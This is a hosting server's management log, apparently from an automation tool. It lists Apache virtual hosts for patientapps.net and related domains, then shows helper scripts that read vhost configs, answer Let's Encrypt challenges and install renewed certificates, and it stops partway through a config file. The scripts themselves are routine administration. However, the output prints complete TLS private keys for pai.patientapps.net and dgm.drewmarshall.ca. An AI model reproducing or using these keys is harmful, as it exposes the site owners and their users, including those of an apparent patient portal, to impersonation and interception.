alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:03:42:
PUT: /tmp/pkp104558
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:03:42:
chmod 755 /tmp/pkp104558; /tmp/pkp104558; rm /tmp/pkp104558
2025-11-03 06:03:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 1572
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-03 06:03:42:
PUT: /tmp/pkp810442
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:03:42:
chmod 755 /tmp/pkp810442; /tmp/pkp810442; rm /tmp/pkp810442
2025-11-03 06:03:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt 5360
13:91:4c:4a:0b:01:c8:aa:2b:1d:be:dd:65:4e:13:5e
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBqPZkZwQEwf8s+Oj2aYU2zgyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNTExWhcNMjYwMjAxMDUwNTEwWjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2jdAh7gaySL/nIju8VDFrIGJdNeQsgLtSEPUrs11JCbnYLB12oyViHhQ
du2x04zdSlaUIiSk952OugnE7wNE2oNjXC/FUnEgPWinHzXfMFFGOOcmRRXsI96M
efFFlHabM7vg1MG91zMErAGiWg0du1aG5KuI8OPJtlKAS9v5SithMZScmy4cbtc9
zslF8luWjTZty0D69tBlOn+8Tym+ImK/uko9SBS6whZX0AduaWNRNe5avFschXBW
RHVadtFAv/iKsUHrFZoArRDOhZSyYbcyKUooM2lxwqotoN/e0faZmdwcmP3vU9xQ
xF0k2rn01VkF3jB7IKWF1gFWv/G62QIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBS4M2+f7bWjj256VMMzImbf69xpvjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy81MS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZpIUGuXAAAE
AwBIMEYCIQCLsQWKwfOuNRU1vHdNsZ3vFvNtLNR9Q59Fup5TKf/W+gIhANePrkBk
a8kGC3rTMktex8AFT1m6XwfR6yDnjbZSa0diAHYAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGaSFBruQAABAMARzBFAiEA24kjCzEwlrA1tAf1noo+
jIQmjU/uv8UO/6skF0ODxSYCICObh6X5TW43hZ7eYlH8o22WKZvXAapwj/gtgIqz
t2MqMA0GCSqGSIb3DQEBCwUAA4IBAQA4IRq1sohOXL32rXNC4tuFvNSzPyVgAl0g
tmTyGvWmJFdsrMrtIe0f4Nx7D/kXIhOG5tsTIoqQv0juqQvmPZ9VtTY1EhgnnSzC
NGYihhqlFh3ZRphs/q1IfcorP6xN9W/hoE7U80+b4HyuJJcxmVCyn4mz9mSHeJIl
22ZfiO1kMH3cyRCom6daS2Km6y8hEe1TbWC4b2/OXJvuCdaB1DpMGgsU0fESSX49
28WKEG0qOiqYT4IebL3DCx48DtfqXFIMZOYI+VR3ZeXyM4fKJwhn5BExOPzoGevy
FEENAkzzPp8m++NvmGypV9zIndginlLIfmqjAqTZEpQrb2LBhX1z
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaN0CHuBrJIv+c
iO7xUMWsgYl015CyAu1IQ9SuzXUkJudgsHXajJWIeFB27bHTjN1KVpQiJKT3nY66
CcTvA0Tag2NcL8VScSA9aKcfNd8wUUY45yZFFewj3ox58UWUdpszu+DUwb3XMwSs
AaJaDR27Vobkq4jw48m2UoBL2/lKK2ExlJybLhxu1z3OyUXyW5aNNm3LQPr20GU6
f7xPKb4iYr+6Sj1IFLrCFlfQB25pY1E17lq8WxyFcFZEdVp20UC/+IqxQesVmgCt
EM6FlLJhtzIpSigzaXHCqi2g397R9pmZ3ByY/e9T3FDEXSTaufTVWQXeMHsgpYXW
AVa/8brZAgMBAAECggEAayv1snJWHXDl70BFchlEbFvWYZ85fmP3m6VMwGlB3faJ
brBbwXGIQ1Ur160XyBmH2Wm6KSasKrykC3Se1vBZEaSz2OPRWpMazW4nnil8KyPP
hETqQ8XnixpTDdTUYnz57qeYXYWlshppcfz/epC0iHyPlaE1iXGmcLgGMLuhrK3H
QfC8onjprRv4znqZUM9dUTB8W89iCvrgPr4D7dxnC9UHbgH3yKkEXuw0c+DG1wo9
URyGDsurJE8LynZ1YxsBi5YZb0dZABu1/DRPCzg7JFG2z6q3eVBPmvAM0QeH1RMe
cEOmksKk2nt/pDN3qE3wHfPn8J35TR5ASRxfC1sDjQKBgQDxFYyum/c5Mpd3Jrbj
h+ThqxUYAPb8623hjLKISwg90NC8AQ/Id0h1UtSFaK9ctnd4j/OpNQ62KdssiXLu
28w0aWjl4j6tid/aR5cWu4rUic2FhYUDZS40U8E24g2TAQ8DAy8LUoMmkvj3AkW7
ctnVfewiMMG/QdDtgORTN0vcEwKBgQDnt3+eHjiIZ+y52xEKu6XYmSJlgw8xcfhR
MWgLgoSD74TNOckxHkJE+UkxGwk+eIKOAnzqRjucRlx2KOjDcpzaFUP5S7/dKVIN
tZbFKa92xv0kwDMhxGDywXJKkyt21PIG8eb4bNyRX0F8zcQv7W8pxPoa4PK9Nr6J
Zp0ixwLS4wKBgFwyWI3CGaanIWOwy4pyQubGjZeTbuFEi84RB4m14B37yIfNhCKu
82fi2GF4qm+zXDcgHhfcsZaapTYADpMoPYzhrvsTLdMiAhiw/if0auBjHtTsPfUR
cb0TNrXtdzF72yjUw935nSxYUpvsI4zPHF1X/cEJkl65JdReUXM9l2Y/AoGBAL5p
xV5LGUvGkvq7sYpvXz7ZwDFI/NA2Bse54PUsYPcGecwnw1QwuGZzsBjBTdxfLXHD
S6E867lk/JBA193crlZsCTqwa88zKHGJmocU1VK2/MkZhCsodD6ohuIPhDUXknfw
i0v0MWDotSj48lIsPCBH9PrnhbHFbdf9Uf2FKqXfAoGAI6n+taA0nYrGJcFUbAnd
i49C4aqJQhNQbfMm7q5utk/e8deoWbefWGdq75mU+EIXklZ+ISvjdPvpYmpPGU0J
yLcNn0Lpamnh67XXLhmN+7m/P+xgGRPlttTMti05dTdh9GTDXCtmbXygEVWYP+Gd
zkkib+N+peajTeQvcR689ko=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-03 06:03:42: Establishing a connection
2025-11-03 06:03:43: Establishing a connection
2025-11-03 06:03:43:
PUT: /tmp/pkp224585
#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:03:43:
chmod 755 /tmp/pkp224585; /tmp/pkp224585; rm /tmp/pkp224585
2025-11-03 06:03:43:
1
2025-11-03 06:03:44: Establishing a connection
2025-11-03 06:03:44:
PUT: /tmp/pkp735673
#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg
2025-11-03 06:03:44:
chmod 755 /tmp/pkp735673; /tmp/pkp735673; rm /tmp/pkp735673
2025-11-03 06:03:44:
2025-11-03 06:03:49: Establishing a connection
2025-11-03 06:03:49:
PUT: /tmp/pkp518376
#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm F_8QTzk3T5ONNcZCxaRNX6gRA1FQDlf2oj5NLASP8lg
2025-11-03 06:03:49:
chmod 755 /tmp/pkp518376; /tmp/pkp518376; rm /tmp/pkp518376
2025-11-03 06:03:49:
2025-11-03 06:03:49: Establishing a connection
2025-11-03 06:03:49:
PUT: /tmp/pkp207752
#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt
cat > $temp_file <<'endmsg'
31:01:4f:e1:72:28:f4:d7:ac:e3:56:ee:7e:83:11:1e
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBqoZ5j5E4mMEya9KuXiQiTYTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwNTE5WhcNMjYwMjAxMDUwNTE4WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsQt0gdZ/MzzXFkcUBwNZu320i66+AYe73lwizrxYloqMSC/2NutP+2ed
gf4OfUNVi7JSAkOEWJaBhFDB/1a4JxVJ05f099as2+BTXHnu56Qp7beeR0f0Qg6Q
NFXrasaln3baGrW17ueDNPNFVN9iqwHvuBstTQG0yqNnJy5xFwSGfshWKTTuCPOw
/ACSFWOss0ds5DI1Tem5mmE039f1psmzECNvKB3m6oDBtN7RcL9/J6q705QGoUbr
bxy46BKdPZF8/tghjDlwFPBwCynrLQKor9ia512nIk4Y+sLE0l4UlDIX/2bI1RGR
DydoF+KQkUItaJ42Fc9lpTlEK6asmQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRWqsK/eSKArgvzMdQueIKlTbLBhjAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8yMC5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdgAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpIUIoMAAAE
AwBHMEUCIA1lUG0Wt+WnfFJRZoYxGQiStRFcRfVlSyims4WCrt5gAiEA3ubbzHqp
odigDtazNnmfsa9eYMoJKssbZ69wthX6xfkAdQDLOPcViXyEoURfW8Hd+8lu8ppZ
zUcKaQWFsMsUwxRY5wAAAZpIUIowAAAEAwBGMEQCIEfMa+dOASaRFSgCe5GImRCt
SiFULMpHgHyoX/a+3LsgAiAufl96wZ/3rwE9i7vDbU3elDbvbQU6N5A7zgf5i470
rDANBgkqhkiG9w0BAQsFAAOCAQEAjzpUjZgoMDpr9H0KElPoodOJ/nyXVbFkf4ag
A32l7YU2TyHgcIsXFI4qPC0x2i3v7D4CfNwQKjVJ5Zf9cxMXGLgb/8cefMT8z51i
PCxAGKNB8ZV3Qht8UYWnkix3Rqgj56I53w5n2gVAIxUmM1FnVtgzNZEkeAJoxyQX
I7t81uCOLkbiYlk1fMn7tdvgDr5owdQjFUQUEZh66xADO8MZs0tZyknuh/h4JWCc
fFs4liPR35j5zDZi3m2tgNsdKwhAx06p16KYI9iNhljKbCfce01uL7UtEhhEHChU
OLMh2aDS5QywY3UZkr/yn2QW64WA9w0cwQE7LMRPLf7B5EkpVg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxC3SB1n8zPNcW
RxQHA1m7fbSLrr4Bh7veXCLOvFiWioxIL/Y260/7Z52B/g59Q1WLslICQ4RYloGE
UMH/VrgnFUnTl/T31qzb4FNcee7npCntt55HR/RCDpA0VetqxqWfdtoatbXu54M0
80VU32KrAe+4Gy1NAbTKo2cnLnEXBIZ+yFYpNO4I87D8AJIVY6yzR2zkMjVN6bma
YTTf1/WmybMQI28oHebqgMG03tFwv38nqrvTlAahRutvHLjoEp09kXz+2CGMOXAU
8HALKestAqiv2JrnXaciThj6wsTSXhSUMhf/ZsjVEZEPJ2gX4pCRQi1onjYVz2Wl
OUQrpqyZAgMBAAECggEAa0kHxw5WcpQxutxDtKRBIi7g06yGk6LPI8YtiZ31CPTY
YX4+87TQ+QYnGnj8Cshc9JSQwbJsZsp9ndLaXIMOgRCTdlelKPK8OVnM6kMxlMmU
ZutYTNW7nLP6itxuFnxeLS32qSzoHOfKSLIKl43u2rYHsEc3wmyARDOU9NddzJX8
H01kLbm3ty5usVw2721xwiT/T8EWy0VRApUF4aQzd+mW4oWbCA7J4yk9EcEMPcPJ
PoWUnIq173OW8QXS1QjRXdtS9/TlMIYTWV5NiCdcqgU0IWgQtxUji2uT0fkjYRJI
xlIFwjwptwIp+TTnQEo8QLkgOdOk2jHNhekSIu0r6QKBgQDrZ10ROB3i7pzjkeYr
gF0Sgf2EVK7soONEXOeoZn8r9S0H+wXioN47/kPSaVpxWfe5zrd8/yqDPnT8otdB
ovEajJfGkK8IsObaeR9OhzcpdeZjz6t20AyPcB1LW3X3scB60F+g0aaFsrH9LDrI
DQ4VPcVG14snOwe+9EbfBVzmdwKBgQDAiPNgGS9zra7OI0SEfooU/kGvzevZTEtk
AQKg1uEJxGbnG5WKEW2g7oM/SNj/6HiyV6fYO6Tq1PHWolC1dNWPYsEPHsjFsWo0
JboPnj4X4/0sETQ7G+7gOvTfU3zhYTHZSy9T0FW1bcSBFK62xsM6f4F78TZW7EU1
u1WJIbP5bwKBgEqFh13rIPL1TO9yAaal1VEFm8cns9SvPiMnMiMKh5nX3PCY1A0h
lhjx7nCO75XQwG6u9UF52fCAdjKALprVxXP9LBMtPGwI7JwfGf0XKyxR6aSRWpub
U06ZVHzFsHvAZsm6a3uSwx+yKUyXkug/0cSBsJEzrRa3RkV6OXFi1j0TAoGBALqu
z5R5Nxpp6Jm1doUlkMuEMLq+5pUeteb0V9EOKMtopQInK9rgxTSKr7XX85hGl2kN
NxCh3GlaKlebsLgQ3dWWwmzfw3p0aO7BOeRU4g4WIO/uin9ZuUevwqkb8XUy4bu4
e94/nis5kJQ8Mp/En52D7k/39WFY3E6aIvjBNhl/AoGBAJUnNz/FBWjn7WUpNSCz
jBfkPg6uPsAEzDzpJGUm1dY3Y2hPqtXntewqHjk1jdW4B3ErfultL/lb7rv8/eEq
L85qjVtZYvD3ME2JGkomNFpeGYCPs9epN71yDFHrhZ+muD4W3NATdeuPQ0pljRh9
yr4HNg7iPNyOJonT9faehFV6
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:03:49:
chmod 755 /tmp/pkp207752; /tmp/pkp207752; rm /tmp/pkp207752
2025-11-03 06:03:49:
dir=/etc/ssl/certs
2025-11-03 06:03:49:
PUT: /tmp/pkp867720
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:03:49:
chmod 755 /tmp/pkp867720; /tmp/pkp867720; rm /tmp/pkp867720
2025-11-03 06:03:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43
<VirtualHost *:80>
ServerName dgm.drewmarshall.ca
ServerAdmin do_not_email@example.com
